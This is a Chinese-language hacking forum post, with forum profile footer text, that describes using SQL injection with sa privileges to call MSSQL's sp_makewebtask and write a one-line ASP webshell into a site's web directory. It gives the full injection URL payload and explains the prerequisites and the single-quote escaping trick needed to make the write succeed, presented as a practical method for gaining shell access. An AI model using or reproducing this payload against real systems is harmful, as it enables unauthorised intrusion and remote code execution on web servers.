sunnygirl

我再说一个方法，直接得webshell的，也要sa权限   ，这年头，权限不好弄啊，呵呵



用 sp_makewebtask直接在web目录里写入一句话马：

http://127.0.0.1/dblogin123.asp?username=123&#39;;exec%20sp_makewebtask%20&#39;d:\www\tt\88.asp&#39;,&#39;%20select%20&#39;&#39;<%25execute(request("a"))%25>&#39;&#39;%20&#39;;--


前提是注入点是sa权限。

sp_makewebtask真是个好东西，知道表名就能够输出内容了。其中的一个问题困扰了我很久，今天终于得到解决：在用sp_makewebtask往文件里面写东西的时候，用到了select语句，但是只是用它来写<%execute(request("a"))%>，并不是对某个列的查询，写入一直出错。由于sp_makewebtask的第二个参数本身有个单引号在外面了，本以为select后面的内容加双引号就能成功写进去了，但是总是不能，偶尔发现是用两个单引号来直接写文本，单引号起着重定义的作用,本机试验成功。

sp_makewebtask的要求权限是sa，而且用这种方法的时候需要知道WEB的物理路径。但是有的管理员会删除某些扩展存储过程，这种方法也能算是个思路吧

方法是比较猥琐了点

[s:264] [s:264]
帖子67 精华0 积分3362 阅读权限100 性别男 在线时间180 小时 注册时间2006-6-19 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 少女暴富的隐秘（图）

dingking
荣誉会员